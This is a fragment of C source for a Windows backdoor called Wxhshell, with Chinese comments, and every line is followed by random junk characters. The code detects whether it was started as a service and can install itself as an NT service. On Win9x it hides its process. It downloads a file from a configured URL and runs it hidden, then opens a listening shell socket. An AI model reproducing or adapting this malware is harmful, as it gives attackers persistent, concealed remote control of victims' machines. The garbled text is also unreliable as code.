ULONG UniqueProcessId; o $7:*jU
ULONG InheritedFromUniqueProcessId; ?suxoP%
} PROCESS_BASIC_INFORMATION; b MZ-{<+i
AvfSR p
PROCNTQSIP NtQueryInformationProcess; U(4>e!
w@ALl#z;}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2? 9*V19yu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |08b=aR6ro
+*Y/+.4WE$
HANDLE hProcess; VEj-%"\
PROCESS_BASIC_INFORMATION pbi; Ha>Hb`
nd_+g2x'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G6]W'Kk
if(NULL == hInst ) return 0; ;~CAHn|Fe
5 Sm9m*/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2uujA*
^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l.[S.@\ =.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <H03i"Z/S
t@m!k+0
if (!NtQueryInformationProcess) return 0; VJviX[V?4
#X1iig+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P_6JweN
if(!hProcess) return 0; v/gxQy+l
@#m@ .
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !:"$1kh1("
CNP!v\D
CloseHandle(hProcess); TC[(mf:8
ul@G{N{L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sKDsps^$
if(hProcess==NULL) return 0; -|_#6-9
X^Dklqqy
HMODULE hMod; '$nm~z,V
char procName[255]; ^phgNzD
unsigned long cbNeeded; rx[l7F
q
iwM$U(
9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
&=ZVU\o:
jgpSFb<9F
CloseHandle(hProcess); 5=cS5q@
$>if@}u
if(strstr(procName,"services")) return 1; // 以服务启动 pb8sx1.j;
*z852@
return 0; // 注册表启动 oyfY>^bs
} =Pj+^+UM
{"e)Jj_=
// 主模块 <?8aM7W7
int StartWxhshell(LPSTR lpCmdLine) kn5X:@{
{ %mF:nU4
SOCKET wsl; #LU<v
BOOL val=TRUE; FUTD/y]Lu
int port=0; (Mzv"F N]
struct sockaddr_in door; d1]1bN4`"0
`PoFKtVXM
if(wscfg.ws_autoins) Install(); z.vERP56
IJ[r!&PY
port=atoi(lpCmdLine); PAYS~MnV@3
Sj(5xa[
if(port<=0) port=wscfg.ws_port; sd
m4zV]&
arWP]%E0W
WSADATA data; ,;D$d#\"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q%T[&A}3B
@y ImR+^.7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `AcUxnO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w ag^Sk
door.sin_family = AF_INET; _A/q bm
door.sin_addr.s_addr = inet_addr("127.0.0.1"); WPu-P
door.sin_port = htons(port); :z-UnC||j
d94Le/E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '73g~T%$^*
closesocket(wsl); .91@T.
return 1; )hy(0 D
} y&&%%3
T1~G{@"
if(listen(wsl,2) == INVALID_SOCKET) { ;}>g/lw
closesocket(wsl); jL6ZHEi#d7
return 1; 3xX^pjk
} *Ei(BrL/;
Wxhshell(wsl); /$=<"Y7&g
WSACleanup(); c>b!{e@*
}mdk+IEt
return 0; FL|\D
?h|&kRq
} G4;5$YGG
QWQJSz5
// 以NT服务方式启动 V1-URC24vd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 23p1Lb9P
{ %
|^V)
DWORD status = 0; Rp0`%}2
o
DWORD specificError = 0xfffffff; ,j!%,!n o
/?Y]wY
serviceStatus.dwServiceType = SERVICE_WIN32; J`[v u4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T0e- X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H.)Y*zK0.
serviceStatus.dwWin32ExitCode = 0; mMOjV_
serviceStatus.dwServiceSpecificExitCode = 0; %y|L'C,ge"
serviceStatus.dwCheckPoint = 0; <L'6CBbP
serviceStatus.dwWaitHint = 0; \=&F\EV
L/c`t7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M*
0zvNg
if (hServiceStatusHandle==0) return; J?%e cCN
<N(r-
status = GetLastError(); S&J>15oWM`
if (status!=NO_ERROR) Ly P Cc|
{ M .oH,Kd6
serviceStatus.dwCurrentState = SERVICE_STOPPED; |Ae7wXOs
serviceStatus.dwCheckPoint = 0; K=1prv2
serviceStatus.dwWaitHint = 0; _<%YLv
serviceStatus.dwWin32ExitCode = status; *?pnTQs^
serviceStatus.dwServiceSpecificExitCode = specificError; '{w[).c.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~gdnD4[G
return; WD@v<Wx)
} WK5B8u*<
A|(!\J0
serviceStatus.dwCurrentState = SERVICE_RUNNING; N~ajrv}kd
serviceStatus.dwCheckPoint = 0; <+UJgB
A-
serviceStatus.dwWaitHint = 0; M5:j)oW
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a@^)?cH!z
} 'cqY-64CJZ
twhT6wz"
// 处理NT服务事件,比如:启动、停止 lnGg1/
VOID WINAPI NTServiceHandler(DWORD fdwControl) R|92T*h
{ lNz1|nS(Kd
switch(fdwControl) C;?<WtH
{ #&b<D2d
case SERVICE_CONTROL_STOP: 3^iVDbAW{
serviceStatus.dwWin32ExitCode = 0; _*cKu>,O
serviceStatus.dwCurrentState = SERVICE_STOPPED; %~:@}C%A
serviceStatus.dwCheckPoint = 0; \D1@UyE
serviceStatus.dwWaitHint = 0; `>GXJ~:D["
{ \5-Dp9vG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LrT?
]o
} 'Ck:=V%}g
return; {e5-
case SERVICE_CONTROL_PAUSE: 26p_fKY
serviceStatus.dwCurrentState = SERVICE_PAUSED; biZ=TI2P,L
break; i91k0q*di
case SERVICE_CONTROL_CONTINUE: X]D:vuB
serviceStatus.dwCurrentState = SERVICE_RUNNING; MEu{'[C
break; m/q`k
case SERVICE_CONTROL_INTERROGATE: Y$#6%`*#>n
break; SkmKf~v
}; 1\)C;c,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }:Y)DH%u
} Q!r&vQ/g
a)L|kux;l
// 标准应用程序主函数 VUOe7c=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gtIEpYN+
{ L
F&!od9[
BC5R$W.e
// 获取操作系统版本 4|4 *rhwp
OsIsNt=GetOsVer(); r?w>x`
GetModuleFileName(NULL,ExeFile,MAX_PATH); #xfav19{.
7jHrLsB
// 从命令行安装 A]1dR\p
if(strpbrk(lpCmdLine,"iI")) Install(); Dbb=d8utE
}=JSd@`_
// 下载执行文件 F'"-aB ~
if(wscfg.ws_downexe) { KE~.f(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T`,G57-5
WinExec(wscfg.ws_filenam,SW_HIDE); bc NyB$S
} }|&^Sg%95
#R7hk5/8n}
if(!OsIsNt) { mwMu1#
// 如果时win9x,隐藏进程并且设置为注册表启动 8hYl73#
HideProc(); DMTc{
StartWxhshell(lpCmdLine); ,tDLpnB@;
} \y6Y}Cv
else 9g#
62oIg
if(StartFromService()) S(^YTb7
// 以服务方式启动 `GlOl-
StartServiceCtrlDispatcher(DispatchTable); v$+A! eo
else Y;iI=U
// 普通方式启动 H= w6
StartWxhshell(lpCmdLine); Spu;
<WnIJum
return 0; @=2u;$.
}